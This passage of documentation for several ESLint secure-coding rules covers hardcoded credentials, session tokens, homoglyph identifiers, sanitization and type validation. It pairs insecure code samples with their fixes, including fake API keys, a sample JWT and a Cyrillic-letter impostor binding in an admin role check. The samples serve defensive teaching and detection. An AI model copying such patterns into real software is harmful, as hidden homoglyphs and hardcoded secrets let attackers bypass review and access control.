* **Any secret-shaped value** in a credential-named slot: at least two character classes (or a 20+ high-entropy single-charset blob), no whitespace, and not a "natural word string". That last test is what rejects `incorrectPassword`, `SessionCacheProvider` and `experimental_onToolExecutionStart` — strings made only of pronounceable, dictionary-shaped tokens joined by camelCase or `_`, `-` and `.` separators, with no digits and no symbols. `aaAA@123` has four character classes and is reported; `Please enter your password` has whitespace and is not. `key` / `keys` are treated as *weak* names — they label cache keys, map keys and i18n keys far more often than API keys — so they only count as credential context when the value is already a random blob by shape. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Hardcoded API key const apiKey = 'sk_live_FAKE_LIVE_KEY_FOR_TESTING_PURPOSES_ONLY_1234567890'; // Hardcoded password const password = 'admin123'; // Hardcoded JWT token const token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c'; // Database connection string with credentials const dbUrl = 'mysql://user:password@localhost:3306/dbname'; // AWS access key const awsKey = 'AKIAIOSFODNN7EXAMPLE'; ``` ### ✅ Correct [#-correct] ```typescript // Environment variable const apiKey = process.env.API_KEY; // Secret manager const password = await getSecret('database-password'); // Configuration service const token = configService.get('JWT_TOKEN'); // Environment variable for database const dbUrl = process.env.DATABASE_URL; // AWS SDK with IAM roles (no keys needed) const s3 = new AWS.S3(); // Uses IAM role ``` ### ✅ Also correct — message constants in credential-named slots [#-also-correct--message-constants-in-credential-named-slots] These are the false positives the shape gate exists to prevent. The key is named `password`; the value is an i18n key, a label, or a sentence. ```typescript throw new UnprocessableEntityException({ errors: { password: 'incorrectPassword' }, // ✅ i18n error key, not a secret }); const errors = { token: 'notFoundToken', secret: 'missingSecret' }; // ✅ const password = 'Please enter your password'; // ✅ sentence export const SessionCacheProvider = 'SessionCacheProvider'; // ✅ DI token const secret = 'experimental_onToolExecutionStart'; // ✅ identifier ``` ### ✅ Also correct — self-evident placeholders [#-also-correct--self-evident-placeholders] A value the developer is visibly expected to replace is not a leaked credential. Skipped by default; set `allowPlaceholders: false` to report them. ```typescript const TEST_CREDENTIALS = { apiKey: 'test-api-key', token: 'xxxxxxxxxxxx', // ✅ one character repeated password: 'changeme', // ✅ placeholder word secret: '', // ✅ bracketed template slot }; const key = '{{API_SECRET}}'; // ✅ also `${…}` and `[…]` ``` The allowlist applies only to non-structural findings. A JWT, an `sk_live_` key, or a `postgres://user:pass@host` string keeps its shape whatever words it contains, so those still report. ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-hardcoded-credentials': ['error', { ignorePatterns: ['^test-'], // Ignore test credentials allowInTests: true, // Skip .test./.spec./__tests__ paths minLength: 8, // Minimum credential length detectApiKeys: true, // Detect API keys detectPasswords: true, // Detect passwords detectTokens: true, // Detect tokens detectDatabaseStrings: true, // Detect database strings allowPlaceholders: true // Skip , changeme, xxxxxxxx }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ----------------------- | ---------------------------------------------- | -------- | ----------------------------------------------------------------------------------- | | `ignorePatterns` | `string[]` | `[]` | Regex patterns to ignore | | `allowInTests` | `boolean` | `true` | Skip credentials in test files | | `minLength` | `number` | `8` | Minimum length for credential detection | | `detectApiKeys` | `boolean` | `true` | Detect API keys | | `detectPasswords` | `boolean` | `true` | Detect passwords | | `detectTokens` | `boolean` | `true` | Detect tokens | | `detectDatabaseStrings` | `boolean` | `true` | Detect database connection strings | | `customPatterns` | `object[]` | `[]` | Custom credential patterns to detect | | `strategy` | `"env"` \| `"config"` \| `"vault"` \| `"auto"` | `"auto"` | Strategy for fixing hardcoded credentials (auto = smart detection) | | `allowPlaceholders` | `boolean` | `true` | Skip self-evident placeholder values (``, `changeme`, `xxxxxxxx`) | ### Ignoring Test Credentials [#ignoring-test-credentials] ```javascript { rules: { 'secure-coding/no-hardcoded-credentials': ['error', { ignorePatterns: ['^test-', '^mock-', '^fake-'] }] } } ``` ### Reporting Credentials in Test Files [#reporting-credentials-in-test-files] Test-file credentials are skipped by default. A corpus scan found 17 of 18 findings on a real repository were fixtures in `integration/auth.test.js`, and a credential in a fixture is not an exploitable finding for this rule — committed real secrets are a secret-scanning concern (gitleaks, trufflehog), which scan history and rotate keys. Set `allowInTests: false` to report them anyway. ```javascript { rules: { 'secure-coding/no-hardcoded-credentials': ['error', { allowInTests: false // Report credentials in .test.ts and .spec.ts too }] } } ``` ## Rule Logic Flow [#rule-logic-flow] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 String Literal Found"] --> B{"In Test File?"} B -->|Yes & allowInTests| C["✅ Skip"] B -->|No| D{"Matches Ignore Pattern?"} D -->|Yes| C D -->|No| E{"Check Credential Patterns"} E --> F{"Common Password?"} F -->|Yes| G["🚨 Report Error"] F -->|No| H{"Database String?"} H -->|Yes| G H -->|No| I{"Length >= minLength?"} I -->|No| C I -->|Yes| J{"API Key Pattern?"} J -->|Yes| G J -->|No| K{"Token Pattern?"} K -->|Yes| G K -->|No| L{"Secret Key Pattern?"} L -->|Yes| G L -->|No| C G --> M["💡 Suggest Fixes"] M --> N["Environment Variable"] M --> O["Secret Manager"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px,color:#1f2937 classDef skipNode fill:#f1f5f9,stroke:#64748b,stroke-width:2px,color:#1f2937 class A startNode class G errorNode class E,F,H,I,J,K,L processNode class C skipNode ``` ## Best Practices [#best-practices] ### 1. Use Environment Variables [#1-use-environment-variables] ```typescript // ✅ Good const apiKey = process.env.STRIPE_API_KEY; if (!apiKey) { throw new Error('STRIPE_API_KEY is required'); } ``` ### 2. Use Secret Management Services [#2-use-secret-management-services] ```typescript // ✅ Good - AWS Secrets Manager import { SecretsManager } from '@aws-sdk/client-secrets-manager'; const client = new SecretsManager({ region: 'us-east-1' }); const secret = await client.getSecretValue({ SecretId: 'api-keys' }); const apiKey = JSON.parse(secret.SecretString).stripeKey; ``` ### 3. Use Configuration Services [#3-use-configuration-services] ```typescript // ✅ Good - Config service import { ConfigService } from '@nestjs/config'; @Injectable() export class ApiService { constructor(private config: ConfigService) {} getApiKey() { return this.config.get('API_KEY'); } } ``` ### 4. Never Commit Credentials [#4-never-commit-credentials] ```bash echo "API_KEY=sk_live_FAKE_KEY_FOR_TESTING" >> .env echo ".env" >> .gitignore ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Credentials from Config [#credentials-from-config] **Why**: Config values not traced. ```typescript // ❌ NOT DETECTED - From config const password = config.dbPassword; ``` **Mitigation**: Use proper secrets management. ### Environment Variables [#environment-variables] **Why**: Env var content not analyzed. ```typescript // ❌ NOT DETECTED - Env var const secret = process.env.API_KEY; ``` **Mitigation**: Never hardcode or expose secrets. ### Dynamic Credential Access [#dynamic-credential-access] **Why**: Dynamic property access not traced. ```typescript // ❌ NOT DETECTED - Dynamic const cred = credentials[type]; ``` **Mitigation**: Audit all credential access patterns. ## Related Rules [#related-rules] * [`no-sql-injection`](./no-sql-injection.md) - Detects SQL injection vulnerabilities * [`database-injection`](./database-injection.md) - Comprehensive database security * [`detect-eval-with-expression`](./detect-eval-with-expression.md) - Code injection detection ## Resources [#resources] * [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) * [OWASP: Hardcoded Credentials](https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_cryptographic_key) * [12 Factor App: Config](https://12factor.net/config) * [AWS Secrets Manager](https://aws.amazon.com/secrets-manager/) * [HashiCorp Vault](https://www.vaultproject.io/) ## Version History [#version-history] * **1.3.0** - Initial release with comprehensive credential detection patterns *** *If this rule caught a real vulnerability in your codebase, [⭐ star the repo](https://github.com/ofri-peretz/eslint) — it keeps the detection logic maintained.* # no-hardcoded-session-tokens > Detects hardcoded session/JWT tokens in code **Severity:** 🔴 CRITICAL\ **CWE:** [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\ **OWASP Mobile:** [M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule detects hardcoded JWT tokens (starting with `eyJ`), Bearer tokens, and session identifiers. Hardcoded tokens in source code are exposed in version control, decompiled apps, and client-side code, leading to unauthorized access. ### Why This Matters [#why-this-matters] Hardcoded session tokens create critical vulnerabilities: * **Source control exposure**: Tokens committed to Git are permanently in history * **Client-side exposure**: Tokens in JavaScript bundles are visible to all users * **Decompilation**: Mobile apps can be reverse-engineered to extract tokens * **No rotation**: Hardcoded tokens can't be rotated without code changes ## ❌ Incorrect [#-incorrect] ```typescript // Hardcoded JWT token const authToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c'; // ❌ CRITICAL // Hardcoded Bearer token fetch('https://api.example.com/data', { headers: { Authorization: 'Bearer sk_live_51H8qL2eZvKYlo2C9S...', // ❌ API key exposed }, }); // Hardcoded session ID const sessionId = 'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6'; // ❌ Static session localStorage.setItem('session', sessionId); ``` ## ✅ Correct [#-correct] ```typescript // Token from environment variable const authToken = process.env.AUTH_TOKEN; // ✅ From environment // Token from secure server endpoint const response = await fetch('/api/auth/token'); const { token } = await response.json(); // ✅ Server-generated // Session from authentication flow async function login(username: string, password: string) { const response = await fetch('/api/login', { method: 'POST', body: JSON.stringify({ username, password }), }); const { sessionToken } = await response.json(); return sessionToken; // ✅ Dynamic, server-issued } // OAuth token exchange const tokenResponse = await oauth2Client.getToken(authCode); const accessToken = tokenResponse.tokens.access_token; // ✅ OAuth flow ``` ## ⚙️ Configuration [#️-configuration] This rule has no configuration options. ## Known False Negatives [#known-false-negatives] ### Tokens from Configuration Files [#tokens-from-configuration-files] **Why**: We only detect tokens in source code literals. Tokens in JSON/YAML config files are not analyzed. ```typescript // ❌ NOT DETECTED - Token in imported config import config from './config.json'; // { "token": "eyJ..." } const token = config.token; ``` **Mitigation**: Never commit config files with tokens. Use `.gitignore` and environment variables. ### Tokens in Template Strings [#tokens-in-template-strings] **Why**: Template literals with complex expressions are not fully analyzed. ```typescript // ❌ NOT DETECTED - Template literal const token = `Bearer ${staticToken}`; // If staticToken is hardcoded elsewhere ``` **Mitigation**: Use linters for template literals. Review all token assignments. ### Base64-Encoded Tokens [#base64-encoded-tokens] **Why**: We detect JWT format (`eyJ...`) but not all Base64-encoded tokens. ```typescript // ❌ NOT DETECTED - Generic Base64 const encoded = 'c2VjcmV0LXRva2VuLWhlcmU='; // Base64 but not JWT format const token = atob(encoded); ``` **Mitigation**: Never store tokens in any encoded form in source code. ## 🔗 Related Rules [#-related-rules] * [`no-hardcoded-credentials`](./no-hardcoded-credentials.md) - Detect hardcoded passwords * [`require-secure-credential-storage`](./require-secure-credential-storage.md) - Secure storage ## 📚 References [#-references] * [CWE-798: Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) * [OWASP M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) * [JWT Best Practices](https://tools.ietf.org/html/rfc8725) # no-homoglyph-identifiers **CWE:** [CWE-1007](https://cwe.mitre.org/data/definitions/1007.html) **OWASP:** [A08:2021 Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/) Two characters that render identically are still two characters. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-1007](https://cwe.mitre.org/data/definitions/1007.html) (Insufficient Visual Distinction of Homoglyphs) | | **Severity** | Medium (CVSS 5.3) | | **Auto-Fix** | ❌ No — only the author knows which character was intended | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Source code is reviewed by looking at it. A character that renders as an ASCII letter but is not one, or a character that renders as nothing at all, defeats that review entirely. ```js const adminRole = 'admin'; const аdminRole = 'guest'; // Cyrillic 'а' (U+0430) — a different binding const ADMIN_GROUP = 'admin​'; // trailing U+200B — a group nobody is ever a member of ``` **Risk:** The diff looks correct, the tests that exercise the visible name still pass, and the authorization check reads the impostor. [Trojan Source](https://trojansource.codes/) (CVE-2021-42574) is the same class using bidi overrides: the compiler and the reviewer disagree about what the program says, and the compiler wins. ## Rule Details [#rule-details] Two narrow detections, deliberately kept apart. They answer different questions, and merging them is what produces the false positives this rule is measured on. ### 1. Identifiers — script mixing [#1-identifiers--script-mixing] An identifier is reported when it contains a character that is **visually identical to an ASCII Latin letter** *and* also contains ASCII letters. The character set is an explicit list (Cyrillic `а е о р с х у і ј ѕ …`, Greek `ο ν α ρ τ υ …`, Armenian, Cherokee, and the fullwidth forms), each mapped to the ASCII letter it impersonates — that mapping is what lets the finding say *which* letter is being faked. An identifier written entirely in one non-Latin script — `имя`, `названиеПеременной` — is **not** reported. It is a legitimate non-English identifier: nothing about it is disguised as something else. The attack needs both scripts together, because the disguise only works inside a name the reader already knows in ASCII. ### 2. Strings — invisible characters only [#2-strings--invisible-characters-only] A string literal or template chunk is reported only for characters that occupy no visible space or reorder what follows: `U+00AD`, `U+180E`, `U+200B–U+200F`, `U+202A–U+202E`, `U+2060–U+2064`, `U+2066–U+2069`, `U+FEFF`. **Visible non-ASCII text is never reported.** Hebrew, Cyrillic, Japanese and emoji in a string are translation data a user reads; there is nothing deceptive about them, and flagging them would tell an i18n bundle it is a vulnerability. Two further narrowings keep the legitimate uses of these codepoints clean: * **Adjacency.** An invisible character is reported only when it sits next to visible ASCII. `U+200D` is a required part of an emoji family sequence and of correct Persian and Hindi text; `U+200C` is mandatory in Persian compounds. Between non-ASCII characters the joiner is doing its job. Inside `admin` it is doing something else. * **Raw, not cooked.** The rule reads the literal's `raw` text, so a zero-width space written as `'admin\u200B'` is **not** reported — the reviewer can see the codepoint and decide. What the rule exists for is the character pasted in as itself, which renders as nothing. Findings always print the codepoint (`U+0430`, `U+202E`). It is the only way to show a character that has no glyph. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```js const adminRole = 'admin'; const аdminRole = 'guest'; // U+0430 renders as ASCII "a" function grantAccess(user) { return user.role === аdminRole ? 'full-access' : 'read-only'; } const ADMIN_GROUP = 'admin​'; // trailing U+200B, invisible in every editor class Session { #аdmin = true; // U+0430 again } ``` ### ✅ Correct [#-correct] ```js // Plain ASCII identifiers, one canonical constant. const ADMIN_ROLE = 'admin'; // Translated UI copy: visible non-ASCII text is data, not deception. const MESSAGES = { en: { signIn: 'Sign in', adminBadge: 'Administrator' }, he: { signIn: 'התחברות', adminBadge: 'מנהל מערכת' }, ru: { signIn: 'Войти', adminBadge: 'Администратор' }, ja: { signIn: 'ログイン', adminBadge: '管理者' }, }; // A deliberate zero-width character, written so a reviewer can see it. const ZERO_WIDTH_SPACE = '\u200B'; ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-homoglyph-identifiers': ['error', { checkIdentifiers: true, checkStrings: true }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ------------------ | --------- | ------- | ------------------------------------------------------------------ | | `checkIdentifiers` | `boolean` | `true` | Check identifier names for script-mixing homoglyphs | | `checkStrings` | `boolean` | `true` | Check string literals and template chunks for invisible characters | ## Error Message Format [#error-message-format] ``` 🔒 CWE-1007 CVSS:5.3 | Identifier "аdminRole" mixes scripts: U+0430 renders as ASCII "a" but is a different character | MEDIUM Fix: Rewrite the identifier in ASCII, or confirm the binding it resolves to is the one you intended | https://cwe.mitre.org/data/definitions/1007.html ``` ``` 🔒 CWE-1007 CVSS:5.3 | String contains invisible character U+200B at index 6 - the text is not what it appears to be | MEDIUM Fix: Remove the character, or write it as an escape (\u200B) so it is visible in review | https://trojansource.codes/ ``` ## Known False Negatives [#known-false-negatives] ### Comments [#comments] **Why**: The rule visits identifiers, string literals and template chunks. A bidi override inside a comment — the original Trojan Source demonstration — is not an AST value it reads. **Mitigation**: Enforce a repository-wide scan for bidi controls in source bytes (many hosts, including GitHub, now warn on them). ### Invisible characters written as escapes [#invisible-characters-written-as-escapes] **Why**: Deliberate, see *Raw, not cooked* above. An escape is visible in review. **Mitigation**: None needed — that is the recommended way to write one. ### A single confusable character surrounded only by non-ASCII [#a-single-confusable-character-surrounded-only-by-non-ascii] **Why**: The identifier check requires an ASCII letter in the same name, and the string check requires a visible ASCII neighbour. A name or string entirely in a non-Latin script is treated as legitimate text. **Mitigation**: Accepted. Reporting it would flag every non-English identifier and every i18n bundle in the repository. ## Further Reading [#further-reading] * **[CWE-1007](https://cwe.mitre.org/data/definitions/1007.html)** — Insufficient Visual Distinction of Homoglyphs Presented to User * **[Trojan Source](https://trojansource.codes/)** — CVE-2021-42574 / CVE-2021-42694 * **[Unicode TR39: Security Mechanisms](https://www.unicode.org/reports/tr39/)** — confusable detection and mixed-script restriction ## Related Rules [#related-rules] * [`no-insecure-comparison`](./no-insecure-comparison.md) — the comparison an invisible character silently defeats # no-improper-sanitization **CWE:** [CWE-20](https://cwe.mitre.org/data/definitions/20.html)\ **OWASP Mobile:** [M4: Insufficient Input/Output Validation](https://owasp.org/www-project-mobile-top-10/) Detects improper sanitization of user input. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-116](https://cwe.mitre.org/data/definitions/116.html) (Improper Encoding), [CWE-79](https://cwe.mitre.org/data/definitions/79.html) (XSS) | | **Severity** | High (CVSS 7.5) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Value & investment case [#value--investment-case] > Why this rule pays for itself. Framework: [`cicd-impact/philosophy.md`](../../../../cicd-impact/philosophy.md). | Dimension | Value | | :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **CWE** | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) — Cross-site Scripting (XSS) + [CWE-116](https://cwe.mitre.org/data/definitions/116.html) (Improper Encoding) | | **Feedback-loop tier** | Editor / pre-commit (sub-second) — cheapest layer per the [feedback-loop hierarchy](../../../../cicd-impact/philosophy.md#the-feedback-loop-hierarchy--why-a-high-end-static-analyzer-is-the-highest-leverage-investment) | | **Defensive-layer leverage** | \~10× cheaper than unit-test · \~1,000× cheaper than production rollback · 10,000+× cheaper than customer disclosure ([cost-ratio anchors](../../../../cicd-impact/philosophy.md#deliverability-axis--quality-risk-and-ma-diligence)) | | **Niche relevance** | **Critical:** B2C, marketplaces, B2B SaaS (any frontend surface) · **High:** fintech (admin/back-office UI), healthtech (patient portals) · **Medium:** infra/devtools | | **Investor-frame impact** | XSS is the most-cited OWASP Top-10 issue. Session hijacking → user-data exposure → mandatory disclosure. For B2C orgs, an XSS incident is a brand event with churn impact; for B2B, it's an enterprise-customer disclosure cycle. | **Read also:** [`philosophy.md` §investor-frame](../../../../cicd-impact/philosophy.md#the-investor-frame--engineering-efficiency-as-a-portfolio-metric) · [`niche-presets.json`](../../../../cicd-impact/data/niche-presets.json) · [`analyzer-evaluation-framework.md`](../../../../cicd-impact/analyzer-evaluation-framework.md) ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Improper sanitization occurs when user input is treated as safe without removing or encoding potentially dangerous characters (like HTML tags or script injection vectors) before using it in a sensitive context (like rendering in a browser or executing as code). **Risk:** This leads to Cross-Site Scripting (XSS), where attackers can inject malicious scripts to steal sessions, redirect users, or deface websites. It can also lead to other injection attacks depending on the context (e.g., SQL injection, Command injection). ## Rule Details [#rule-details] Improper sanitization occurs when user input is not properly cleaned before use in sensitive contexts. This can lead to: * Cross-site scripting (XSS) attacks * SQL/NoSQL injection * Command injection * Header injection ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------- | ------------------------ | ----------------------------- | | 🎭 **XSS** | Session hijacking | Use context-aware encoding | | 💉 **Injection** | Data breach | Use proper escaping functions | | 🔓 **Bypass** | Security control evasion | Defense in depth | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript element.innerHTML = userInput.replace(/', '"', "'", '&'], trustedLibraries: ['dompurify', 'html-escaper', 'xss'] }] } } ``` ## Options [#options] | Option | Type | Default | Description | | -------------------- | ---------- | ------------------------------------------------------------------------------ | ----------------------------------------------------------- | | `safeSanitizers` | `string[]` | `["DOMPurify.sanitize","he.encode","encodeURIComponent","encodeURI","escape"]` | Sanitizer calls treated as sufficient | | `dangerousChars` | `string[]` | ``["<",">","\"","'","&","`","$","{","}","\|",";","(",")"]`` | Characters a sanitizer is expected to handle | | `contexts` | `string[]` | `["html","url","sql","command","javascript","css"]` | Output contexts checked for a context-appropriate sanitizer | | `trustedLibraries` | `string[]` | `["DOMPurify","he","validator","express-validator"]` | Libraries whose sanitizers are trusted | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as sanitizers | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` 🔒 CWE-116 OWASP:A03-Injection CVSS:7.5 | Improper Sanitization | HIGH [SOC2,PCI-DSS] Fix: Use DOMPurify.sanitize() or context-aware encoding | https://cwe.mitre.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)** - XSS prevention cheat sheet * **[CWE-116](https://cwe.mitre.org/data/definitions/116.html)** - Improper encoding * **[DOMPurify](https://github.com/cure53/DOMPurify)** - HTML sanitization library ## Related Rules [#related-rules] * [`no-unsanitized-html`](./no-unsanitized-html.md) - XSS via innerHTML * [`no-unescaped-url-parameter`](./no-unescaped-url-parameter.md) - URL parameter injection # no-improper-type-validation **CWE:** [CWE-20](https://cwe.mitre.org/data/definitions/20.html)\ **OWASP Mobile:** [M4: Insufficient Input/Output Validation](https://owasp.org/www-project-mobile-top-10/) Detects improper type validation in user input handling. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ⚠️ This rule is set to **warning** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-1287](https://cwe.mitre.org/data/definitions/1287.html) (Improper Validation of Specified Type of Input) | | **Severity** | Medium (CVSS 5.3) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Improper type validation occurs when the application relies on weak or incorrect checks to verify the type of user input (e.g., using `typeof null` which returns `'object'`, or loose equality). **Risk:** Attackers can exploit type confusion to bypass logic checks, cause application crashes (DoS) by passing unexpected types (like `null` where an object is expected), or manipulate program flow in unexpected ways. ## Rule Details [#rule-details] Improper type validation can lead to security vulnerabilities when user input is not properly validated. Attackers can bypass security checks using: * Type coercion tricks * Prototype pollution * `null` value confusion * Cross-realm `instanceof` failures ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------- | ------------------------ | ------------------------------ | | 🔓 **Bypass** | Security control evasion | Use proper type guards | | 🎭 **Confusion** | Unexpected behavior | Validate with schema libraries | | 💥 **Crash** | Denial of service | Check for null/undefined | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // typeof null returns 'object' if (typeof userInput === 'object') { userInput.method(); // Crashes if null! } // instanceof can be bypassed across realms if (userInput instanceof Array) { // May fail for arrays from iframes } // Loose equality type coercion if (userInput == true) { // '1', 1, [1], ['1'] all pass! } // Missing null check function process(data: object) { if (typeof data === 'object') { return data.id; // Fails if data is null } } ``` ### ✅ Correct [#-correct] ```typescript // Check for null explicitly if (userInput !== null && typeof userInput === 'object') { userInput.method(); } // Use Array.isArray() for arrays if (Array.isArray(userInput)) { // Works across realms } // Strict equality if (userInput === true) { // Only boolean true passes } // Use validation libraries import { z } from 'zod'; const schema = z.object({ id: z.number(), name: z.string(), }); const result = schema.safeParse(userInput); if (result.success) { const data = result.data; } ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-improper-type-validation': ['warn', { userInputVariables: ['req', 'request', 'input', 'body'], safeTypeCheckFunctions: ['Array.isArray', 'Number.isFinite'], allowInstanceofSameRealm: false }] } } ``` ## Options [#options] | Option | Type | Default | Description | | -------------------------- | ---------- | ------------------------------------------------------------------------- | -------------------------------------------------------- | | `userInputVariables` | `string[]` | `["req","request","body","query","params","input","data","userInput"]` | Variable names treated as user-controlled input | | `safeTypeCheckFunctions` | `string[]` | `["isArray","isString","isNumber","isObject","validateType","checkType"]` | Function names that count as a type check | | `allowInstanceofSameRealm` | `boolean` | `true` | Allow instanceof for same-realm objects | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as type validators | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` ⚠️ CWE-1287 OWASP:A04-Design CVSS:5.3 | Improper Type Validation | MEDIUM [SOC2] Fix: Use value != null && typeof value === 'object' | https://cwe.mitre.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[CWE-1287](https://cwe.mitre.org/data/definitions/1287.html)** - Improper validation of specified type * **[typeof null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof#typeof_null)** - JavaScript typeof quirks * **[Zod](https://zod.dev/)** - TypeScript-first schema validation ## Related Rules [#related-rules] * [`no-unvalidated-user-input`](./no-unvalidated-user-input.md) - Unvalidated user input * [`detect-object-injection`](./detect-object-injection.md) - Prototype pollution # no-insecure-comparison **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects insecure comparison operators (`==`, `!=`) that can lead to type coercion vulnerabilities. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding) and provides LLM-optimized error messages that AI assistants can automatically fix. > \[!WARNING] > **Deprecated, and no longer in `recommended` (removed 2026-07-31).** > > Two reasons, both measured on a 1,470-file corpus (webpack, lodash, > eslint-plugin-import, two NestJS boilerplates): > > 1. **The loose-equality half is a duplicate.** Every one of its 433 `==` / `!=` > findings is also reported by core [`eqeqeq`](https://eslint.org/docs/latest/rules/eqeqeq). > Re-reporting another rule's findings under a CWE-697 security banner is > noise, and no amount of narrowing changes that — it is a style check > wearing a security hat. > 2. **The timing-attack half belongs elsewhere.** Use > [`node-security/no-timing-unsafe-compare`](../../../eslint-plugin-node-security/docs/rules/no-timing-unsafe-compare.md), > which is what `meta.replacedBy` points at. > > The rule is still exported and still works. Enable it explicitly, or via the > `strict` preset, if you want it. It is simply not switched on for you. As of 2026-07-31 the timing-attack detection matches secret keywords against **identifier word segments** rather than as substrings of the whole expression's source text. Previously `if (key === "__non_webpack_require__")` was reported as a timing attack because the keyword list contained the bare word `key`; the same relaxation also matched `monkey`, `keyword`, `machine` and `author`. That change alone removed half the rule's corpus findings (443 → 221). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------------------------------- | | **CWE Reference** | CWE-697 (Incorrect Comparison) | | **Severity** | High (security vulnerability) | | **Auto-Fix** | ✅ Yes (replaces == with ===, != with !==) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All JavaScript/TypeScript applications, especially security-sensitive code | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Insecure comparison 